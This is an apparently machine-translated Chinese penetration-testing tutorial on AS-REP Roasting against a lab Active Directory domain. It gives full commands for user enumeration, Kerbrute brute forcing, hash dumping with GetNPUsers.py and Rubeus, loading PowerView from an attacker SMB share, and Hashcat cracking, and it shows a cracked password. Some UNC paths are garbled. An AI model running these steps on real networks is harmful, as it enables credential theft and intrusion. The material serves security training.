在这篇博文中,我们将了解 AS-REP Roasting 攻击,以及如何远程执行这些攻击,以及如何在域中的目标主机上从立足点执行这些攻击。
首先,我们将简要了解 Kerberos 预身份验证以及 AS-REP 烘焙攻击的工作原理。
接下来,我们将直接进入第一个场景,我们将学习如何在域中远程搜寻 AS-REP 可烘焙用户。从那里,我们将学习如何远程执行 AS-REP 烘焙攻击,以转储我们发现的易受攻击用户的哈希值。
在第一个场景之后,我们将跳到第二个场景,我们在域中的目标主机上建立了立足点。
从那里,我们将学习如何查找禁用了 Kerberos 预身份验证的用户,以及如何使用两种不同口味的 Rubeus 执行 AS-REP 烘焙攻击。
最后,我们将获取我们转储的哈希值(多种方式),看看如何使用 Hashcat 破解它。
Keberos 预身份验证
Kerberos 预身份验证是默认情况下为 Active Directory 环境中的每个用户启用的一项功能。
当用户需要访问资源时,Kerberos 预身份验证过程首先向驻留在域控制器 (DC) 上的密钥分发中心 (KDC) 发送身份验证服务器请求 (AS-REQ) 消息。
请求消息包含一个时间戳,该时间戳使用发出请求的用户密码的哈希进行加密。然后,KDC 将时间戳与其自己的用户密码哈希记录进行匹配,并使用 Authentication Server Response (AS-REP) 消息进行响应。
此 AS-REP 消息中是加密的 TGT,其中包含请求用户的哈希值。
实质上,用户首先使用 KDC 进行预身份验证,然后 KDC 在执行身份验证请求之前验证此信息。
但是,如果域中的用户禁用了预身份验证,攻击者可以请求该用户的身份验证数据,KDC 将返回一条带有加密 TGT 的 AS-REP 消息,该消息可以离线破解。
禁用预身份验证后,KDC 会跳过验证用户是否确实是他们所说的用户的步骤,并出于“信任”返回加密的 TGT。
什么是 AS-REP Roasting Attack?
AS-REP Roasting 是攻击者用来转储禁用了 Kerberos 预身份验证的用户账户的 AS-REP (krbasrep5) 哈希值的一种技术。与 Kerberoasting 不同,此类攻击涉及的用户不限于服务帐户。
任何帐户都可以通过简单地选中一个框来关闭预身份验证。
执行 AS-REP Roasting 攻击的唯一要求是拥有域中禁用预身份验证的用户的有效用户名。
然而,这说起来容易做起来难......
例如,如果我们刚刚开始枚举并尝试远程执行此攻击,那么我们需要找到一种方法来从 SNMP、RPC、LDAP 等服务中转储域用户列表。否则,我们将需要暴力破解用户名,并希望我们能走运。
或者,如果我们在域中的主机上站稳脚跟,我们可以轻松枚举域用户以及 AS-REP 可烘焙用户。
这意味着 AS-REP Roasting 既是一种初始访问技术,也是一种权限提升技术。
好了,现在我们已经了解了 Kerberos 预身份验证和 AS-REP Roasting 攻击,让我们来看一些示例!
寻找 AS-REP Roastable 用户 – 远程
对于我们的第一组示例,我们将远程列举 AS-REP Roastable 用户。
对于我们的第一个场景,假设我们刚刚访问了一个 IP 块为 172.16.1.0/24 的目标网络。此时我们不知道任何用户名或密码,我们只是使用nbtscan来收集 IP – 主机名映射的列表。
nbtscan 172.16.1.0/24
扫描显示网络中有三台主机和一个 DC。
此时,我们的目标是首先尝试通过 SNMP、RPC 和 LDAP(S) 等服务枚举 DC。希望我们能够在没有凭据(匿名)的情况下访问这些服务之一,以便我们可以转储域中的用户列表。
或者,我们拥有的其他选项包括检查所有主机/DC 上的 SMB 共享、检查所有主机/DC 上打开的非标准服务(http(s)、ftp 等)和暴力破解 - 仅举几例。
最后,有点超出范围但值得一提的是,使用社交媒体 / google / OSINT 来查找用户名。然而,这更适用于实际的互动。
我们可用于查找用户名的技术取决于哪些服务是开放的,以及我们可以从中列举出什么。
下面是一个我们可以尝试的小例子(很好的起点),但这绝不是关于如何在域中查找用户名的详尽列表。
搜寻对 SNMP、RPC 和 LDAP 的匿名访问
如上所述,我们首先要尝试查找用户名的位置是来自 DC 上 SNMP、RPC 或 LDAP 服务的匿名会话。
我们可以使用各种不同的工具和技术很容易地检查是否授予了对这三种服务中的任何一种的匿名访问权限。
如果您有兴趣了解有关 SNMP、RPC 和 LDAP 枚举的更多信息,我有多篇关于这些主题的文章,可以在这里找到。
首先,我们可以使用以下命令检查我们是否可以匿名访问 SNMP 服务:
snmp-check 172.16.1.5
如果这有效,它将转储大量信息,包括 “User Accounts”,即域中的所有用户。
接下来,我们可以使用rpcclient工具检查对 RPC 服务的匿名访问。
rpcclient 172.16.1.5 -N
如果它有效,我们将进入rpcclient提示符,我们可以在其中使用以下命令枚举用户:
enumdomusers
最后,我们可以使用 ldapsearch 来检查对 LDAP(S) 服务的匿名访问。
ldapsearch -x -H 'ldap://172.16.1.5' -b "dc=juggernaut,dc=local"
如果这有效,它将转储大量信息。但是,通过一点 Linux-fu,我们可以从输出中只提取域用户。
ldapsearch -x -H 'ldap://172.16.1.5' -b "dc=juggernaut,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}'
请注意,输出不包括三个内置域帐户:Administrator、krbtgt 和 Guest。
同样,这只是我们如何找到域用户的一个小例子;但是,如果其中一种技术有效,并且我们能够转储用户列表,那么我们可以使用名为 Kerbrute 的工具检查他们中的任何人是否是 AS-REP Roastable。
检查 AS-REP Roastable Us 的调查结果
检查 AS-REP Roastable 用户的结果 – Kerbrute
继续我们的场景,假设上述技术之一对我们有用,并且我们能够通过对 LDAP(S) 的匿名访问来转储用户列表。
因此,此时,我们有一个域中所有用户的列表。
接下来,我们需要获取用户列表并将其复制 + 粘贴到文本文件中。我们还需要确保从 LDAP 输出中手动添加三个缺失的帐户。
完善!现在我们有了 users.txt 文件,我们可以将其输入到 Kerbrute 中,以检查有效的(AS-REP 可烘焙的)账户。
kerbrute -users ./users.txt -domain juggernaut.local -dc-ip 172.16.1.5
了不起!Kerbrute 能够检查我们找到的每个用户名的有效性,并确定它们是处于活动状态还是被阻止/禁用。此外,我们还发现用户vcreed没有启用预身份验证,因此 AS-REP 可烘焙!
但是,在我们进入实际的 AS-REP 烘焙部分之前,让我们快速了解一下我们可以找到域用户的其他一些方法。
使用 Kerbrute 的蛮力
我们在域中查找有效用户的另一种方法是通过暴力破解。
让我们假装我们检查了对 SNMP、RPC 和 LDAP 的匿名访问,但我们没有运气!此外,我们还检查了每台主机上的所有共享、所有有趣的正在运行的服务,以及...无!我们空空如也,找不到一个用户名。
在这种情况下,我们真的只剩下一件事可以尝试——蛮力!
正如我们刚刚看到的,Kerbrute 是一个很好的工具,可以确认用户帐户的有效性,以及确定是否有任何用户是可烘焙的 AS-REP 的。
但是,此工具的主要功能(给定名称)是通过 Kerberos 服务暴力破解用户名和密码。
我们需要记住的非常重要的一点是命名约定。通常,公司在为用户创建用户名时喜欢使用以下选项之一:
-
姓名 (jon)
-
名字首字母 + 姓氏 (jdoe)
-
名字 + 姓氏首字母 (jond)
这三种约定非常常见,第二种 (jdoe) 是最常见的。
电子邮件命名约定类似,但通常包含句点 ' 。“,通常包含用户的全名,例如:jon.doe@abc
好了,考虑到所有这些,我们可以开始寻找一个好的单词列表来使用。
创建自定义 Wordlist
在这个例子中,我们将使用 Hashcat 制作我们自己的自定义单词表。
首先,让我们在此处获取此 last-names.txt 脚本的副本,并将其复制到我们的攻击者计算机上。
接下来,我们将制作一个简单的规则,将字母表的每个字母添加到单词列表中的每个单词之前。
创建规则后,我们可以使用 Hashcat 对 last-names.txt 文件运行规则并创建新的单词列表。
hashcat --force /usr/share/wordlists/last-names.txt -r /usr/share/hashcat/rules/prepend_letter.rule --stdout > usernames.txt
棒!新的单词列表比 last-names.txt 文件大 26 倍,现在包含 230 万个名字首字母 + 姓氏组合。
请注意,这个单词列表相当大。执行蛮力攻击时,您需要从较小的单词列表开始,然后逐步升级到较大的单词列表。
好了,现在我们的单词列表已经准备好了,我们可以开始使用 Kerbrute 测试它了。
使用 Kerbrute 和自定义 Wordlist 对用户名进行暴力破解
我们可以将自定义单词列表传递给 Kerbrute,并使用以下命令开始在域中暴力强制使用有效用户名:
kerbrute -users ./usernames.txt -domain juggernaut.local -dc-ip 172.16.1.5 -threads 80
了不起!仅仅 15 分钟后,就找到了三个用户,其中一个是vcreed!
总的来说,这可能需要大约 45-60 分钟才能完全完成。考虑到单词列表的大小,这真的不算太糟糕。
蛮力绝对不是最快的方法;但是,当我们处于紧要关头并且我们的选择有限时,它可能非常有用。
其他注意事项
如前所述,我们可以在很多地方在域中查找有效的用户名。例如,我们可以检查网络中每台主机上运行的所有不同服务,以查找提示、线索等。
但是,还有一个地方我们应该一直关注......hostnames!
主机名很重要,并且通常会显示有用的信息。例如,公司以分配的用户命名主机是很常见的。
发生这种情况时,攻击者只需对目标网络运行 nbtscan 命令,即可轻松枚举域中的用户列表。
如果我们向上滚动到此示例的开头,我们将看到 nbtscan 在网络中找到了三个主机:
-
JUGG-CMARKO
-
JUGG-EFROST 系列
-
JUGG-VCREED 乐队
在看到最后两个例子之后,我们知道cmarko、efrost 和 vcreed都是域用户。
这意味着我们可以快速使用找到的主机名来确定三个用户名,将它们添加到 TXT 文件中,然后使用 Kerbrute 检查它们。
使用 GetNPUsers.py 的 AS-REP 烘焙攻击 – 远程
GetNPUsers.py是用于远程执行 AS-REP 烘焙攻击的脚本,是Impacket脚本集合的一部分。
正如我们上面看到的,我们有很多方法可以寻找有效的域用户;更具体地说,禁用了 Kerberos 预身份验证的用户。
好了,在这一点上,我们已经确定用户vcreed不需要 Kerberos 预身份验证,并且是 AS-REP 可烘焙的。
有了这个发现,我们可以使用 GetNPUsers.py 和以下语法执行 AS-REP 烘焙攻击:
GetNPUsers.py juggernaut.local/vcreed -dc-ip 172.16.1.5 -no-pass
繁荣!就这样......通过简单地枚举域中不需要 Kerberos 预身份验证的有效用户,我们可以轻松转储他们的 AS-REP 哈希值!
使用 GetNPUsers.py 时,哈希值以准备破解的格式转储。只需复制 + 粘贴到 TXT 文件中,即可使用。
不幸。这种类型的哈希值无法传递,因此我们需要破解它。
要了解有关传递哈希攻击的更多信息,请在此处查看我关于该主题的帖子。
继续前进,在请求票证并转储 “vcreed” 的 AS-REP 哈希值后,我们现在可以使用 Hashcat 和 John the Ripper 等工具继续破解哈希值。
但是,在我们破解这个哈希之前,让我们稍微改变一下场景。
让我们看看如何搜寻 AS-REP 可烘焙用户,以及如何从域中目标主机的立足点执行 AS-REP 烘焙攻击。
寻找 AS-REP Roastable 用户 – Foothold
对于下一个方案,我们已经在域中的目标主机上建立了立足点。
从那里,我们将学习如何在禁用 Kerberos 预身份验证的情况下搜寻用户,以及执行 AS-REP 烘焙攻击。
在方案的这个阶段,我们已经扫描了目标网络,并开始枚举我们找到的三个主机和域控制器。
从那里,我们在其中一台 Windows 10 主机 (172.16.1.100) 上发现了一个漏洞,我们设法利用了该漏洞,从而获得了一个反向 shell。
凉!该漏洞利用在目标主机上提供了立足点,现在我们可以开始寻找 AS-REP 可roastable 用户。
使用 PowerShell 查找 AS-REP Roastable 帐户 – Foothold
首先,应该提到的是,即使我们有立足点,寻找 AS-REP 可烘焙用户也不仅仅是运行 cmd.exe 或 PowerShell 命令那么简单。
相反,我们需要使用为 PowerShell 编写的工具,以便解锁枚举 AS-REP 可烘焙用户的能力。
立即,我想到了两个工具:PowerView和RSAT。
这两个工具对于域枚举非常有用(在获得立足点之后)。出于这个原因,我们将了解如何使用两者来寻找 AS-REP 可烘焙用户。
此外,由于我们对这些示例使用了两个 PowerShell 脚本,因此我们需要对受害者进行 PowerShell 提示:
powershell -ep bypass
如果上述操作失败,您可以通过发回 Nishang 1-liner 来获取 PowerShell 提示符,可在此处找到。
现在我们有了 PowerShell 提示符,让我们看看使用 PowerView 的第一个示例。
PowerView 公司
PowerView是包含在 PowerShell 脚本/模块的PowerSploit集合中的脚本。
PowerSploit 有很多很棒的脚本,因此我建议从这里将整个存储库克隆到您的攻击者计算机上。
下载 PowerSploit 后,我们可以从 Recon 目录中获取 PowerView 的副本,并将其放在我们的工作目录中。
接下来,我们需要将文件传输到受害者身上。
如果您想学习在以 Windows 主机为目标时如何传输文件的各种技术,请在此处查看我关于该主题的帖子。
为此,我们将在攻击者计算机上的工作目录中快速设置一个 SMB 共享。
smbserver.py share $(pwd) -smb2support
凉!此时,关于如何加载此脚本,我们有几个选项。
首先,我们可以直接从共享将此脚本加载到当前会话中,而无需将文件传输到受害者主机上。
. \172.16.1.30sharePowerView.ps1
完善!我们没有收到错误,这意味着 PowerView 及其所有模块都已加载到我们当前的 PowerShell 会话中。
因此,我们现在应该可以访问在加载 PowerView 之前不可用的 cmdlet。
我们现在特别可以访问的一个 cmdlet 是Get-DomainUser,它可用于收集有关特定域用户帐户的大量详细信息。
最后,使用以下语法,我们可以执行Get-DomainUsercmdlet 来提取域中所有 AS-REP 可烘焙帐户的列表:
Get-DomainUser -PreauthNotRequired -Verbose | select samaccountname
远程服务器管理工具 (RSAT)
与 PowerView 类似,RSAT是一个 PowerShell 脚本/模块,允许管理员(和攻击者)轻松查询有关域的信息。
PowerView 和 RSAT 之间的主要区别在于 RSAT 实际上是一个合法的 Windows 程序。与 PowerView 相比,这使得 RSAT 成为攻击者执行域枚举的更隐蔽的选择。
首先,我们需要从此处的 GitHub 存储库中获取 RSAT的副本。
将存储库克隆到攻击者的机器上后,我们需要将Import-ActiveDirectory.ps1复制到我们的工作目录中,然后将以下命令附加到脚本底部:
echo $'nImport-ActiveDirectory' >> Import-ActiveDirectory.ps1
完善!通过在脚本底部附加命令,一旦脚本加载到我们当前的 PowerShell 会话中,它就会自动执行。然后,就像我们使用 PowerView 时看到的那样,我们将可以访问其他 PowerShell cmdlet。
. \172.16.1.30shareImport-ActiveDirectory.ps1
繁荣!通过直接从共享中使用 .sourcing,我们能够将此脚本加载到当前会话中,而无需将其传输到磁盘上!
现在,脚本已加载到当前会话中,我们可以访问许多优秀的 cmdlet。
有关 RSAT 提供的所有 cmdlet 的列表,请在此处查看此链接。
但是,在此示例中,我们最感兴趣的是Get-ADUsercmdlet。有了这个,我们可以轻松找到 AS-REP 可烘焙的用户,如下所示:
Get-ADUSer -Filter 'DoesNotRequirePreAuth -eq $true ' | select samaccountname
了不起!这两个工具都提供类似的输出,并列出域中的所有 AS-REP 可烘焙账户。
现在我们已经看到了两种不同的方法来寻找 AS-REP 可烘焙用户,让我们看看如何利用这一点,并转储用户的哈希值。
AS-REP 烘焙攻击 – 立足点
在确定用户vcreed已禁用预身份验证后,我们可以使用同一工具的两个不同版本对用户执行 AS-REP roasting 攻击:Rubeus和Invoke-Rubeus
有趣的是,要使用这些工具,我们不需要知道禁用了预身份验证的用户是谁。这意味着我们可以跳过上一步,直接开始执行攻击。
但是,首先寻找 AS-REP 可烘焙用户是一种很好的做法。这创造了一种有针对性的方法,让我们所做的一切都有意义,并使我们能够避免将不需要的工具放在受害者身上。
Rubeus.exe
Rubeus 是一种工具,可用于在 Active Directory 环境中非常轻松地执行 AS-REP 烘焙攻击。
如果您没有 rubeus.exe 的副本,可以从此处获取编译后的副本。
只需一个命令,rubeus.exe就可以识别、请求和提取域中的所有 AS-REP 可烘焙用户哈希值。
首先,我们需要从上面的链接中获取 Rubeus 的编译副本。然后,我们需要将 Rubeus 的副本传输到受害者计算机上。
由于攻击者计算机上已经运行了 SMB 服务器,因此我们将利用它来获取 Rubeus 的副本。
cp \172.16.1.30sharerubeus.exe .
一旦 Rubeus 被转移到目标主机上,我们就可以使用以下命令执行 AS-REP 烘焙攻击:
.Rubeus.exe asreproast
繁荣!就这样,Rubeus 能够找到所有禁用预身份验证的用户,然后转储他们的 TGS-REP 哈希值!
提取哈希值后,我们现在可以将其复制 + 粘贴到攻击者计算机上的 TXT 文件中并开始破解它!
当您将此哈希复制 + 粘贴到 txt 文件中时,上面看到的每一行都会有新行。如果您尝试按原样破解此哈希,它将不起作用,因为它的格式不适合 Hashcat。您可以使用一些 linux-fu 来清理它,或者简单地手动删除所有新行。无论你怎么做,关键是要把这个哈希值作为一个连续的字符串放在 txt 文件中,这样就可以用 Hashcat 来破解它。
调用 - Rubeus
Invoke-Rubeus.ps1是一个 PowerShell 脚本,是Empire后开发框架的一部分。
与 PowerSploit 类似,Empire 有很多很棒的脚本,所以我建议将整个存储库克隆到您的攻击者计算机上。
下载 Empire 后,我们可以获取 Invoke-Rubeus.ps1 的副本并将其放在我们的工作目录中。
从那里,我们可以再次将要执行的命令附加到脚本底部;或者简单地使用 dot-sourcing 加载它,然后手动执行命令。
在此示例中,我们将加载脚本,然后手动运行该命令。
话虽如此,我们剩下要做的就是将脚本加载到我们的 PowerShell 会话中。
. \172.16.1.30shareInvoke-Rubeus.ps1
脚本加载时没有任何错误,表明我们现在可以使用 Rubeus cmdlet。
加载脚本后,我们现在可以使用以下命令执行 AS-REP 烘焙攻击:
Invoke-Rubeus -Command "asreproast"
棒!正如我们在 rubeus.exe 中看到的那样,哈希值被转储并准备好破解(经过一些清理)。
好了,现在我们已经了解了如何使用两种不同口味的 Rubeus 执行 AS-REP 烘焙攻击,以及远程使用 Impacket 的 GetNPUsers.py 脚本,让我们最后看看如何使用 Hashcat 破解这个哈希值。
使用 Hashcat 破解 AS-REP 哈希
在转储用户vcreed的 AS-REP 哈希值后,现在是时候使用 Hashcat 破解这个哈希值了!
首先,我们需要将 users 哈希复制 + 粘贴到名为asrep_hashes.txt的文本文件中并对其进行清理。
接下来,我们可以使用 Hashcat 的 help 菜单来找到破解这类哈希所需的破解模式。
hashcat -h | grep -i "kerberos"
伟大!从输出中我们可以看到,我们需要的这种哈希的破解模式是 18200。
然后,我们可以使用我们找到的破解模式开始破解密码,如下所示:
hashcat -m 18200 ./asrep_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_asrep.txt
但它失败了!!
但是,通过在上述命令中添加best64规则,我们能够成功破解密码!
hashcat -m 18200 ./asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked_asrep.txt
vcreed :Dfaster1!23
这里的教训是不要过分依赖 rockyou.txt。这不是万能的解决方案,因此如果 rockyou 没有密码,请尝试添加规则或尝试不同的单词列表。
无论破解此哈希之前的情况如何,我们现在都有一组新的凭证可供使用,并且离实现最终目标 – Domain Admin 更近了一步。
奖励:AS-REP Roasting Attack 没有用户名!
在极少数情况下,您可能会非常幸运地找到禁用了预身份验证的用户,而从未找到要传递到命令中的有效用户名。
您需要测试的只是域控制器的 IP 和域的名称,如下所示:
GetNPUsers.py juggernaut.local/ -dc-ip 172.16.1.5
如果这有效,您将看到禁用了预身份验证的用户的用户名,然后您可以通过添加-request标志来请求他们的哈希值:
GetNPUsers.py juggernaut.local/ -dc-ip 172.16.1.5 -request
了不起!只需知道域的名称,我们就能够转储用户哈希值,现在可以开始破解它。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
原文始发于微信公众号(moonsec):【域渗透】 AS-REP Roasting 攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论